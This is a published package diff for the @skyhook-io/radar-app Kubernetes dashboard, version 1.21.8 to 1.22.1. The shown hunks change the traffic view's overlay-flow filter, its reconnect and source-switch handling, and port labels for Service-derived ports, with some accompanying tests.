@skyhook-io/radar-app 1.21.8 → 1.22.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/App.tsx +16 -1
- package/src/api/client.ts +18 -0
- package/src/api/cnpg-history.ts +3 -3
- package/src/api/cnpg-storage.ts +3 -3
- package/src/api/diagnose.test.ts +34 -0
- package/src/api/diagnose.ts +17 -4
- package/src/api/radarFeatures.test.ts +13 -1
- package/src/api/radarFeatures.ts +6 -0
- package/src/api/resourceActions.test.ts +829 -0
- package/src/api/resourceActions.ts +584 -0
- package/src/api/resourceActions.ui.test.tsx +1882 -0
- package/src/api/reviewedActionMutation.ts +56 -28
- package/src/api/substrateHealth.ts +2 -3
- package/src/api/traefik.ts +33 -0
- package/src/api/traffic.ts +14 -5
- package/src/api/workloadMetrics.test.ts +11 -2
- package/src/api/workloadMetrics.ts +2 -2
- package/src/components/CloudFunnelButton.test.tsx +39 -1
- package/src/components/CloudFunnelButton.tsx +10 -3
- package/src/components/cnpg/CNPGOverview.test.tsx +75 -3
- package/src/components/cnpg/CNPGOverview.tsx +62 -4
- package/src/components/diagnose/AnalysisStory.test.tsx +12 -0
- package/src/components/diagnose/DiagnoseContext.question.test.tsx +34 -1
- package/src/components/diagnose/DiagnoseContext.tsx +28 -3
- package/src/components/diagnose/DiagnoseSurface.tsx +5 -4
- package/src/components/diagnose/Home.tsx +3 -0
- package/src/components/diagnose/InvestigationEvidencePane.test.tsx +61 -0
- package/src/components/diagnose/InvestigationView.followupFailure.test.tsx +122 -0
- package/src/components/diagnose/InvestigationView.tsx +10 -2
- package/src/components/diagnose/LocalDiagnoseAction.history.test.tsx +1 -1
- package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -2
- package/src/components/diagnose/QuestionComposer.test.tsx +16 -2
- package/src/components/diagnose/QuestionComposer.tsx +13 -8
- package/src/components/diagnose/diagnoseEvidenceTypes.ts +47 -8
- package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +153 -0
- package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +9 -13
- package/src/components/diagnose/investigationEvidence/adapters/issues.ts +21 -5
- package/src/components/diagnose/investigationEvidence/bodies/network.tsx +63 -26
- package/src/components/diagnose/launch.ts +1 -1
- package/src/components/dock/PodDebugSession.test.tsx +66 -0
- package/src/components/dock/PodDebugSession.tsx +3 -1
- package/src/components/dock/TerminalTab.test.tsx +43 -3
- package/src/components/dock/TerminalTab.tsx +10 -1
- package/src/components/helm/HelmReleaseDrawer.tsx +1 -1
- package/src/components/helm/InstallWizard.tsx +1 -1
- package/src/components/home/NetworkPolicyCoverageCard.test.tsx +37 -0
- package/src/components/home/NetworkPolicyCoverageCard.tsx +26 -2
- package/src/components/home/mcpToolCatalog.ts +1 -1
- package/src/components/resources/PodEvictAction.test.tsx +951 -0
- package/src/components/resources/PodEvictAction.tsx +167 -0
- package/src/components/resources/ResourcesView.tsx +3 -0
- package/src/components/resources/renderers/TraefikIngressRouteRenderer.test.tsx +23 -0
- package/src/components/resources/renderers/TraefikIngressRouteRenderer.tsx +23 -0
- package/src/components/resources/renderers/TraefikMiddlewareRenderer.test.tsx +23 -0
- package/src/components/resources/renderers/TraefikMiddlewareRenderer.tsx +29 -0
- package/src/components/resources/renderers/WorkloadRenderer.tsx +3 -0
- package/src/components/settings/LocalConnectionSettings.tsx +4 -4
- package/src/components/settings/SettingsDialog.tsx +23 -18
- package/src/components/settings/integrationQueries.test.ts +98 -0
- package/src/components/settings/integrationQueries.ts +36 -0
- package/src/components/traffic/TrafficConnectionsTable.test.tsx +23 -0
- package/src/components/traffic/TrafficConnectionsTable.tsx +5 -4
- package/src/components/traffic/TrafficFilterSidebar.test.tsx +14 -0
- package/src/components/traffic/TrafficFilterSidebar.tsx +17 -0
- package/src/components/traffic/TrafficFlowList.tsx +5 -5
- package/src/components/traffic/TrafficGraph.test.tsx +11 -0
- package/src/components/traffic/TrafficGraph.tsx +31 -19
- package/src/components/traffic/TrafficView.reconnect.test.tsx +229 -0
- package/src/components/traffic/TrafficView.tsx +108 -41
- package/src/components/traffic/traffic-export.test.ts +8 -0
- package/src/components/traffic/traffic-export.ts +7 -4
- package/src/components/traffic/trafficFilters.test.ts +51 -1
- package/src/components/traffic/trafficFilters.ts +39 -11
- package/src/components/ui/Markdown.test.tsx +37 -0
- package/src/components/ui/Markdown.tsx +15 -2
- package/src/components/ui/command-items-crd.test.tsx +23 -8
- package/src/components/useContextSwitchFlow.test.tsx +27 -2
- package/src/components/useContextSwitchFlow.tsx +20 -22
- package/src/components/whats-new/releaseNotes.ts +75 -1
- package/src/components/workload/WorkloadView.tsx +16 -3
- package/src/integrations/resourceHosts.test.tsx +1 -1
- package/src/integrations/resourceHosts.tsx +3 -0
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { useState, useEffect, useMemo, useRef, useCallback } from 'react'
|
|
2
|
-
import { useTrafficSources, useTrafficFlows, useTrafficRecords, useTrafficConnect, useSetTrafficSource } from '../../api/traffic'
|
|
2
|
+
import { useTrafficSources, useTrafficFlows, useTrafficRecords, useTrafficConnect, useTrafficConnectionStatus, useSetTrafficSource } from '../../api/traffic'
|
|
3
3
|
import { useClusterInfo, useNamespaceScope } from '../../api/client'
|
|
4
4
|
import { useSearchParams } from 'react-router-dom'
|
|
5
5
|
import type { TrafficWizardState, AggregatedFlow, TrafficFlow } from '../../types'
|
|
@@ -12,7 +12,7 @@ import { TrafficFocusSearch } from './TrafficFocusSearch'
|
|
|
12
12
|
import { TrafficSourcePill } from './TrafficSourcePill'
|
|
13
13
|
import { TrafficGraphTooLarge } from './TrafficGraphTooLarge'
|
|
14
14
|
import { TrafficGraphUnavailable } from './TrafficGraphUnavailable'
|
|
15
|
-
import { useQueryClient } from '@tanstack/react-query'
|
|
15
|
+
import { isCancelledError, useQueryClient } from '@tanstack/react-query'
|
|
16
16
|
import { useDock, useDockReservedHeight } from '../dock'
|
|
17
17
|
import { AlertBanner, EmptyState, PaneLoader, FreshnessControl } from '@skyhook-io/k8s-ui'
|
|
18
18
|
import { useConnection } from '../../context/ConnectionContext'
|
|
@@ -20,7 +20,7 @@ import { useDesktopBlobDownload } from '../../hooks/useDesktopDownload'
|
|
|
20
20
|
import { Tooltip } from '../ui/Tooltip'
|
|
21
21
|
import { SEVERITY_TEXT } from '@skyhook-io/k8s-ui/utils/badge-colors'
|
|
22
22
|
import { DURATION_DOCK } from '@skyhook-io/k8s-ui/utils/animation'
|
|
23
|
-
import { matchesStatusRanges, bucketsFromCounts, bucketsFromStatus, isRateBasedSource, keepAvailable, effectiveThreshold, volumeUnit, type VolumeUnit, isExternalKind, groupAddonFlows, mergeFlowVolume, coverageLabel, type GraphFlow, endpointPair, graphEndpoint, graphEndpointId, mergeRawPairs,
|
|
23
|
+
import { matchesStatusRanges, bucketsFromCounts, bucketsFromStatus, isRateBasedSource, keepAvailable, effectiveThreshold, volumeUnit, type VolumeUnit, isExternalKind, groupAddonFlows, mergeFlowVolume, coverageLabel, type GraphFlow, endpointPair, graphEndpoint, graphEndpointId, mergeRawPairs, mergeEdgePortInto, selectedEdgeMatcher, selectionRawPairs, selectionMatch, graphSize, GRAPH_DRAW_BUDGET, GRAPH_DRAW_CEILING, parseFocus, focusParam, focusId, focusNeighborhood, touchesFocus, endpointSummaries, namespaceSummaries, verdictChoices, type TrafficFocus, warningRetries, warningBannerTitle, emptyWarningHeadline, rateWindowSeconds } from './trafficFilters'
|
|
24
24
|
|
|
25
25
|
// Where a warning about which cluster the traffic belongs to points: how the map
|
|
26
26
|
// keeps to this cluster in a shared metrics store, and how to set its label.
|
|
@@ -397,6 +397,8 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
397
397
|
const [timeRange, setTimeRange] = useState<string>('5m')
|
|
398
398
|
const [hideSystem, setHideSystem] = useState(true)
|
|
399
399
|
const [hideExternal, setHideExternal] = useState(false)
|
|
400
|
+
// Off by default: the classification is a guess, and real traffic matches it.
|
|
401
|
+
const [hideOverlay, setHideOverlay] = useState(false)
|
|
400
402
|
const [minConnections, setMinConnections] = useState(0)
|
|
401
403
|
// The unit the threshold above was picked under. Stored because the number alone
|
|
402
404
|
// is ambiguous: 100 is a valid step in both scales and means something different
|
|
@@ -472,9 +474,17 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
472
474
|
const [isConnecting, setIsConnecting] = useState(false)
|
|
473
475
|
const [connectionError, setConnectionError] = useState<string | null>(null)
|
|
474
476
|
const queryClient = useQueryClient()
|
|
475
|
-
const
|
|
477
|
+
const { mutate: connectTraffic } = useTrafficConnect()
|
|
478
|
+
const checkTrafficStatus = wizardState === 'ready' && !isConnecting
|
|
479
|
+
const trafficStatus = useTrafficConnectionStatus(checkTrafficStatus)
|
|
476
480
|
const setSourceMutation = useSetTrafficSource()
|
|
477
481
|
const hasAutoConnectedRef = useRef(false)
|
|
482
|
+
const reconnectStateRef = useRef<'idle' | 'armed' | 'awaiting-status'>('idle')
|
|
483
|
+
const connectAttemptRef = useRef(0)
|
|
484
|
+
|
|
485
|
+
useEffect(() => () => {
|
|
486
|
+
connectAttemptRef.current++
|
|
487
|
+
}, [])
|
|
478
488
|
|
|
479
489
|
// Track cluster context to reset state on cluster change
|
|
480
490
|
const { data: clusterInfo } = useClusterInfo()
|
|
@@ -485,9 +495,12 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
485
495
|
const currentCluster = clusterInfo?.context || null
|
|
486
496
|
if (lastClusterRef.current !== null && lastClusterRef.current !== currentCluster) {
|
|
487
497
|
// Cluster changed - reset wizard state and invalidate traffic queries
|
|
498
|
+
connectAttemptRef.current++
|
|
488
499
|
setWizardState('detecting')
|
|
500
|
+
setIsConnecting(false)
|
|
489
501
|
setConnectionError(null)
|
|
490
502
|
hasAutoConnectedRef.current = false
|
|
503
|
+
reconnectStateRef.current = 'idle'
|
|
491
504
|
queryClient.invalidateQueries({ queryKey: ['traffic-sources'] })
|
|
492
505
|
queryClient.invalidateQueries({ queryKey: ['traffic-flows'] })
|
|
493
506
|
queryClient.invalidateQueries({ queryKey: ['traffic-connection'] })
|
|
@@ -505,6 +518,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
505
518
|
data: flowsData,
|
|
506
519
|
isFetching: flowsFetching,
|
|
507
520
|
dataUpdatedAt: flowsUpdatedAt,
|
|
521
|
+
error: flowsError,
|
|
508
522
|
refetch: refetchFlowsRaw,
|
|
509
523
|
} = useTrafficFlows({
|
|
510
524
|
namespaces,
|
|
@@ -516,6 +530,12 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
516
530
|
enabled: wizardState === 'ready' && !isConnecting && !connectionError,
|
|
517
531
|
})
|
|
518
532
|
|
|
533
|
+
useEffect(() => {
|
|
534
|
+
if (flowsError?.message === 'no traffic source available') {
|
|
535
|
+
queryClient.invalidateQueries({ queryKey: ['traffic-connection'] })
|
|
536
|
+
}
|
|
537
|
+
}, [flowsError, queryClient])
|
|
538
|
+
|
|
519
539
|
// A partial, incomplete or cluster warning is the source's answer rather than
|
|
520
540
|
// a hiccup, so retrying it is all cost and no progress.
|
|
521
541
|
const warningRetriable = warningRetries(flowsData?.warningKind)
|
|
@@ -609,6 +629,8 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
609
629
|
const activeDnsPattern = l7Capabilities.hasDNSQueries ? dnsPattern : ''
|
|
610
630
|
const activeMinConnections = effectiveThreshold(minConnections, minConnectionsUnit, volumeUnit(isRateBased))
|
|
611
631
|
|
|
632
|
+
const hasOverlayFlows = useMemo(() => !!flowsData?.aggregated?.some(f => f.likelyOverlay), [flowsData?.aggregated])
|
|
633
|
+
|
|
612
634
|
const filteredFlows = useMemo<AggregatedFlow[]>(() => {
|
|
613
635
|
if (!flowsData?.aggregated) return []
|
|
614
636
|
|
|
@@ -638,6 +660,8 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
638
660
|
return false
|
|
639
661
|
}
|
|
640
662
|
|
|
663
|
+
if (hideOverlay && flow.likelyOverlay) return false
|
|
664
|
+
|
|
641
665
|
// If hiding external, skip flows with external endpoints
|
|
642
666
|
if (hideExternal) {
|
|
643
667
|
if (isExternal(flow.source.kind) || isExternal(flow.destination.kind)) {
|
|
@@ -687,7 +711,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
687
711
|
|
|
688
712
|
return true
|
|
689
713
|
})
|
|
690
|
-
}, [flowsData?.aggregated, hideSystem, hideExternal, activeMinConnections, hiddenNamespaces, addonMode, l7Protocol, activeMethods, activeStatusRanges, activeVerdicts, activeDnsPattern])
|
|
714
|
+
}, [flowsData?.aggregated, hideSystem, hideExternal, hideOverlay, activeMinConnections, hiddenNamespaces, addonMode, l7Protocol, activeMethods, activeStatusRanges, activeVerdicts, activeDnsPattern])
|
|
691
715
|
|
|
692
716
|
// The graph's filters, applied to individual records for the list view
|
|
693
717
|
const rawFlowPasses = useCallback((flow: TrafficFlow) => {
|
|
@@ -706,6 +730,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
706
730
|
if (isAlwaysFiltered(flow.source.name) || isAlwaysFiltered(flow.destination.name)) return false
|
|
707
731
|
|
|
708
732
|
if (hideExternal && (isExternal(flow.source.kind) || isExternal(flow.destination.kind))) return false
|
|
733
|
+
if (hideOverlay && flow.likelyOverlay) return false
|
|
709
734
|
|
|
710
735
|
if (addonMode === 'hide') {
|
|
711
736
|
if (isClusterAddon(sourceName, flow.source.namespace) || isClusterAddon(destName, flow.destination.namespace)) return false
|
|
@@ -734,7 +759,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
734
759
|
}
|
|
735
760
|
|
|
736
761
|
return true
|
|
737
|
-
}, [hideSystem, hideExternal, hiddenNamespaces, addonMode, l7Protocol, activeMethods, activeStatusRanges, activeVerdicts, activeDnsPattern, drawnEndpoint])
|
|
762
|
+
}, [hideSystem, hideExternal, hideOverlay, hiddenNamespaces, addonMode, l7Protocol, activeMethods, activeStatusRanges, activeVerdicts, activeDnsPattern, drawnEndpoint])
|
|
738
763
|
|
|
739
764
|
const filteredRawFlows = useMemo(
|
|
740
765
|
() => (flowsData?.flows ?? []).filter(rawFlowPasses),
|
|
@@ -845,13 +870,13 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
845
870
|
// Traffic whose direction is known is kept apart from traffic whose direction
|
|
846
871
|
// is not, the same way the backend aggregation keys it: merging them would
|
|
847
872
|
// give one edge a single arrowhead answer that is wrong for half its bytes.
|
|
848
|
-
const key = `${sourceKey}->${destKey}|${flow.directionUnknown ? 'u' : 'o'}`
|
|
873
|
+
const key = `${sourceKey}->${destKey}|${flow.directionUnknown ? 'u' : 'o'}${flow.likelyOverlay ? '|v' : ''}`
|
|
849
874
|
|
|
850
875
|
const existing = aggregatedMap.get(key)
|
|
851
876
|
if (existing) {
|
|
852
877
|
mergeFlowVolume(existing, flow)
|
|
853
878
|
mergeRawPairs(existing, flow)
|
|
854
|
-
|
|
879
|
+
mergeEdgePortInto(existing, flow)
|
|
855
880
|
// Everything merged here shares the key's direction-known state, so the
|
|
856
881
|
// flag is already correct on the entry that was created first.
|
|
857
882
|
} else {
|
|
@@ -898,6 +923,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
898
923
|
if (existing) {
|
|
899
924
|
mergeFlowVolume(existing, flow)
|
|
900
925
|
mergeRawPairs(existing, flow)
|
|
926
|
+
mergeEdgePortInto(existing, flow)
|
|
901
927
|
} else {
|
|
902
928
|
// Create new "Internet" → destination flow
|
|
903
929
|
internetFlowsMap.set(destKey, {
|
|
@@ -948,7 +974,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
948
974
|
// Everything that makes it a different view. A refresh doesn't, so a view
|
|
949
975
|
// that was drawn keeps being drawn as its size drifts past the budget.
|
|
950
976
|
const viewKey = JSON.stringify([
|
|
951
|
-
sourcesData?.active ?? '', namespaces, timeRange, focusKey ?? '', groupByWorkload, hideSystem, hideExternal, activeMinConnections,
|
|
977
|
+
sourcesData?.active ?? '', namespaces, timeRange, focusKey ?? '', groupByWorkload, hideSystem, hideExternal, hideOverlay, activeMinConnections,
|
|
952
978
|
[...hiddenNamespaces].sort(), addonMode, aggregateExternal, detectServices, collapseInternet,
|
|
953
979
|
l7Protocol, [...activeMethods].sort(), [...activeStatusRanges].sort(), [...activeVerdicts].sort(), activeDnsPattern,
|
|
954
980
|
])
|
|
@@ -1191,37 +1217,37 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1191
1217
|
return
|
|
1192
1218
|
}
|
|
1193
1219
|
|
|
1194
|
-
|
|
1195
|
-
setWizardState('not_found')
|
|
1196
|
-
return
|
|
1197
|
-
}
|
|
1198
|
-
|
|
1199
|
-
// Only consider sources with status 'available' as ready
|
|
1200
|
-
const availableSources = sourcesData.detected.filter(s => s.status === 'available')
|
|
1201
|
-
if (availableSources.length > 0) {
|
|
1202
|
-
setWizardState('ready')
|
|
1203
|
-
} else {
|
|
1204
|
-
setWizardState('not_found')
|
|
1205
|
-
}
|
|
1220
|
+
setWizardState(sourcesData?.detected.some(s => s.status === 'available') ? 'ready' : 'not_found')
|
|
1206
1221
|
}, [sourcesData, sourcesLoading])
|
|
1207
1222
|
|
|
1223
|
+
useEffect(() => {
|
|
1224
|
+
if (wizardState !== 'not_found') return
|
|
1225
|
+
connectAttemptRef.current++
|
|
1226
|
+
hasAutoConnectedRef.current = false
|
|
1227
|
+
reconnectStateRef.current = 'idle'
|
|
1228
|
+
setIsConnecting(false)
|
|
1229
|
+
setConnectionError(null)
|
|
1230
|
+
}, [wizardState])
|
|
1231
|
+
|
|
1208
1232
|
// Shared connection handler — used by auto-connect and retry buttons.
|
|
1209
1233
|
// Deliberately does NOT reset hasAutoConnectedRef on failure: that ref gates
|
|
1210
|
-
// the auto-connect effect,
|
|
1211
|
-
//
|
|
1212
|
-
// Retry button, which calls handleConnect directly.
|
|
1234
|
+
// the initial auto-connect effect, which would otherwise run again on every
|
|
1235
|
+
// failed attempt. Recovery from source loss has its own guard.
|
|
1213
1236
|
//
|
|
1214
1237
|
// The page opens on a detection that may be a couple of minutes old, so the
|
|
1215
1238
|
// source it names may since have gone. A retry detects again first, which
|
|
1216
1239
|
// also picks another available source, and the first failed connect gets
|
|
1217
1240
|
// one such retry on its own.
|
|
1218
1241
|
const handleConnect = useCallback((redetect: boolean, automatic = false) => {
|
|
1242
|
+
const attemptId = ++connectAttemptRef.current
|
|
1243
|
+
reconnectStateRef.current = 'idle'
|
|
1219
1244
|
setIsConnecting(true)
|
|
1220
1245
|
setConnectionError(null)
|
|
1221
1246
|
queryClient.removeQueries({ queryKey: ['traffic-flows'] })
|
|
1222
1247
|
|
|
1223
1248
|
const attempt = (fresh: boolean) => {
|
|
1224
1249
|
const fail = (message: string) => {
|
|
1250
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1225
1251
|
if (!fresh) {
|
|
1226
1252
|
attempt(true)
|
|
1227
1253
|
return
|
|
@@ -1231,24 +1257,40 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1231
1257
|
}
|
|
1232
1258
|
const detected = fresh ? detectSourcesAgain() : Promise.resolve(undefined)
|
|
1233
1259
|
detected.then(
|
|
1234
|
-
() =>
|
|
1235
|
-
|
|
1236
|
-
|
|
1237
|
-
fail(data.error)
|
|
1238
|
-
return
|
|
1239
|
-
}
|
|
1260
|
+
(sources) => {
|
|
1261
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1262
|
+
if (sources && !sources.detected.some(s => s.status === 'available')) {
|
|
1240
1263
|
setIsConnecting(false)
|
|
1241
|
-
|
|
1242
|
-
|
|
1243
|
-
|
|
1264
|
+
return
|
|
1265
|
+
}
|
|
1266
|
+
connectTraffic({ automatic }, {
|
|
1267
|
+
onSuccess: (data) => {
|
|
1268
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1269
|
+
if (!data.connected && data.error) {
|
|
1270
|
+
fail(data.error)
|
|
1271
|
+
return
|
|
1272
|
+
}
|
|
1273
|
+
if (data.connected) {
|
|
1274
|
+
reconnectStateRef.current = 'awaiting-status'
|
|
1275
|
+
}
|
|
1276
|
+
setIsConnecting(false)
|
|
1277
|
+
},
|
|
1278
|
+
onError: (error) => fail(error.message),
|
|
1279
|
+
})
|
|
1280
|
+
},
|
|
1244
1281
|
(error: Error) => {
|
|
1282
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1245
1283
|
setIsConnecting(false)
|
|
1246
|
-
|
|
1284
|
+
if (isCancelledError(error)) {
|
|
1285
|
+
reconnectStateRef.current = 'armed'
|
|
1286
|
+
} else {
|
|
1287
|
+
setConnectionError(error.message)
|
|
1288
|
+
}
|
|
1247
1289
|
},
|
|
1248
1290
|
)
|
|
1249
1291
|
}
|
|
1250
1292
|
attempt(redetect)
|
|
1251
|
-
}, [
|
|
1293
|
+
}, [connectTraffic, queryClient, detectSourcesAgain])
|
|
1252
1294
|
|
|
1253
1295
|
// The wizard polls without waiting on the answer; a failed detection shows
|
|
1254
1296
|
// through the sources query's own state.
|
|
@@ -1256,9 +1298,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1256
1298
|
detectSourcesAgain().catch(() => {})
|
|
1257
1299
|
}, [detectSourcesAgain])
|
|
1258
1300
|
|
|
1259
|
-
// Auto-connect once when a source is first detected
|
|
1260
|
-
// mount / cluster (the ref resets on cluster change); failures surface a
|
|
1261
|
-
// manual Retry rather than re-arming this effect.
|
|
1301
|
+
// Auto-connect once when a source is first detected or becomes available again.
|
|
1262
1302
|
useEffect(() => {
|
|
1263
1303
|
if (wizardState === 'ready' && !hasAutoConnectedRef.current && !isConnecting) {
|
|
1264
1304
|
hasAutoConnectedRef.current = true
|
|
@@ -1266,6 +1306,20 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1266
1306
|
}
|
|
1267
1307
|
}, [wizardState, isConnecting, handleConnect])
|
|
1268
1308
|
|
|
1309
|
+
// A settings save can replace the traffic manager while this view is open.
|
|
1310
|
+
const trafficConnected = checkTrafficStatus && trafficStatus.isSuccess && !trafficStatus.isFetching
|
|
1311
|
+
? trafficStatus.data.connected
|
|
1312
|
+
: undefined
|
|
1313
|
+
useEffect(() => {
|
|
1314
|
+
if (connectionError) return
|
|
1315
|
+
// A successful reconnect only ends the loss once the status confirms it.
|
|
1316
|
+
if (trafficConnected === true && reconnectStateRef.current === 'awaiting-status') {
|
|
1317
|
+
reconnectStateRef.current = 'armed'
|
|
1318
|
+
} else if (trafficConnected === false && reconnectStateRef.current === 'armed') {
|
|
1319
|
+
handleConnect(true, true)
|
|
1320
|
+
}
|
|
1321
|
+
}, [trafficConnected, connectionError, handleConnect])
|
|
1322
|
+
|
|
1269
1323
|
// Show wizard if no traffic source detected
|
|
1270
1324
|
if (wizardState !== 'ready') {
|
|
1271
1325
|
return (
|
|
@@ -1295,6 +1349,9 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1295
1349
|
setHideSystem={setHideSystem}
|
|
1296
1350
|
hideExternal={hideExternal}
|
|
1297
1351
|
setHideExternal={setHideExternal}
|
|
1352
|
+
hasOverlayFlows={hasOverlayFlows}
|
|
1353
|
+
hideOverlay={hideOverlay}
|
|
1354
|
+
setHideOverlay={setHideOverlay}
|
|
1298
1355
|
minConnections={activeMinConnections}
|
|
1299
1356
|
setMinConnections={chooseMinConnections}
|
|
1300
1357
|
showNamespaceGroups={showNamespaceGroups}
|
|
@@ -1352,22 +1409,32 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
|
|
|
1352
1409
|
const activeSource = availableSources.find(s => s.name === activeName) || availableSources[0]
|
|
1353
1410
|
|
|
1354
1411
|
const handleSwitchSource = (name: string) => {
|
|
1412
|
+
const attemptId = ++connectAttemptRef.current
|
|
1355
1413
|
setIsConnecting(true)
|
|
1356
1414
|
setConnectionError(null)
|
|
1357
1415
|
hasAutoConnectedRef.current = true
|
|
1416
|
+
reconnectStateRef.current = 'idle'
|
|
1417
|
+
const fail = (error: Error) => {
|
|
1418
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1419
|
+
setIsConnecting(false)
|
|
1420
|
+
setConnectionError(error.message)
|
|
1421
|
+
}
|
|
1358
1422
|
setSourceMutation.mutate(name, {
|
|
1359
1423
|
onSuccess: () => {
|
|
1424
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1360
1425
|
queryClient.invalidateQueries({ queryKey: ['traffic-sources'] })
|
|
1361
|
-
|
|
1426
|
+
connectTraffic(undefined, {
|
|
1362
1427
|
onSuccess: (data) => {
|
|
1428
|
+
if (attemptId !== connectAttemptRef.current) return
|
|
1429
|
+
reconnectStateRef.current = data.connected ? 'awaiting-status' : 'idle'
|
|
1363
1430
|
setIsConnecting(false)
|
|
1364
1431
|
if (!data.connected && data.error) setConnectionError(data.error)
|
|
1365
1432
|
queryClient.invalidateQueries({ queryKey: ['traffic-flows'] })
|
|
1366
1433
|
},
|
|
1367
|
-
onError:
|
|
1434
|
+
onError: fail,
|
|
1368
1435
|
})
|
|
1369
1436
|
},
|
|
1370
|
-
onError:
|
|
1437
|
+
onError: fail,
|
|
1371
1438
|
})
|
|
1372
1439
|
}
|
|
1373
1440
|
|
|
@@ -49,3 +49,11 @@ describe('describeTrafficNode', () => {
|
|
|
49
49
|
expect(describeTrafficNode({ id: 'addon-internet', type: 'traffic', data: { kind: 'AddonInternet', label: 'Internet' } })?.shape).toBe('internet')
|
|
50
50
|
})
|
|
51
51
|
})
|
|
52
|
+
|
|
53
|
+
describe('describeTrafficNode ports taken from a Service', () => {
|
|
54
|
+
it('marks them as on the card', () => {
|
|
55
|
+
const ports = [{ port: 5432, connections: 3, portSource: 'service' }, { port: 0, connections: 1, portSource: 'serviceMultiple' }, { port: 80, connections: 2 }]
|
|
56
|
+
const node = describeTrafficNode({ id: 'shop/db', type: 'traffic', data: { kind: 'Pod', label: 'db', ports } })
|
|
57
|
+
expect(node?.rows?.map(r => r.text)).toEqual([':5432 (from Service)', ':multiple (from Service)', ':80'])
|
|
58
|
+
})
|
|
59
|
+
})
|
|
@@ -1,7 +1,8 @@
|
|
|
1
1
|
import { CircleQuestionMark, Database, Globe, Puzzle, Server } from 'lucide-react'
|
|
2
2
|
import { getTopologyIcon } from '@skyhook-io/k8s-ui'
|
|
3
3
|
import type { GraphBoxRow, GraphNodeMapper } from '@skyhook-io/k8s-ui/utils/graph-model'
|
|
4
|
-
import { formatVolume, isExternalKind, MAX_VISIBLE_PORTS } from './trafficFilters'
|
|
4
|
+
import { formatVolume, isExternalKind, MAX_VISIBLE_PORTS, portLabel } from './trafficFilters'
|
|
5
|
+
import type { TrafficPortSource } from '../../types'
|
|
5
6
|
|
|
6
7
|
// Hex values of the Tailwind 500 shades the traffic nodes use for these categories.
|
|
7
8
|
const CATEGORY_COLORS: Record<string, string> = {
|
|
@@ -37,11 +38,13 @@ function trafficRows(data: Record<string, unknown>, hot: boolean): GraphBoxRow[]
|
|
|
37
38
|
if (typeof p !== 'object' || p === null || !('port' in p)) return []
|
|
38
39
|
const port = num(p.port)
|
|
39
40
|
const connections = ('connections' in p ? num(p.connections) : undefined) ?? 0
|
|
40
|
-
|
|
41
|
+
const source = 'portSource' in p && (p.portSource === 'service' || p.portSource === 'serviceMultiple') ? p.portSource as TrafficPortSource : undefined
|
|
42
|
+
const label = portLabel(port ?? 0, source)
|
|
43
|
+
return label ? [{ label, connections }] : []
|
|
41
44
|
})
|
|
42
45
|
if (ports.length > 0) {
|
|
43
|
-
const rows: GraphBoxRow[] = ports.slice(0, MAX_VISIBLE_PORTS).map(({
|
|
44
|
-
text: `:${
|
|
46
|
+
const rows: GraphBoxRow[] = ports.slice(0, MAX_VISIBLE_PORTS).map(({ label, connections }) => ({
|
|
47
|
+
text: `:${label}`,
|
|
45
48
|
code: true,
|
|
46
49
|
hot,
|
|
47
50
|
// No figure for a port with no measured traffic, as on the card.
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { describe, it, expect } from 'vitest'
|
|
2
2
|
import type { AggregatedFlow, TrafficFlow } from '../../types'
|
|
3
|
-
import { dataByProtocol, protocolsOf, totalDataByProtocol, rateWindowSeconds, throughputLabel, protocolName, matchesStatusRanges, bucketsFromCounts, bucketsFromStatus, isRateBasedSource, keepAvailable, effectiveThreshold, volumeUnit, isExternalKind, isPolicyDropReason, requestRateOf, errorRateOf, formatRate, displayVolume, groupAddonFlows, mergeFlowVolume, dedupeHTTPPairs, coverageLabel, latencyWeightOf, endpointPair, selectionRawPairs, mergeRawPairs, graphEndpoint, graphSize, parseFocus, focusParam, focusId, touchesFocus, focusNeighborhood, endpointSummaries, searchEndpoints, namespaceSummaries, namespaceOverBudget, hasStatusData, connectionRows, selectionMatch, edgeCarriesPort, edgesOnPort, mergedEdgePort, selectedEdgeMatcher, verdictChoices, warningRetries, warningBannerTitle, emptyWarningHeadline, protocolLabel, type GraphFlow } from './trafficFilters'
|
|
3
|
+
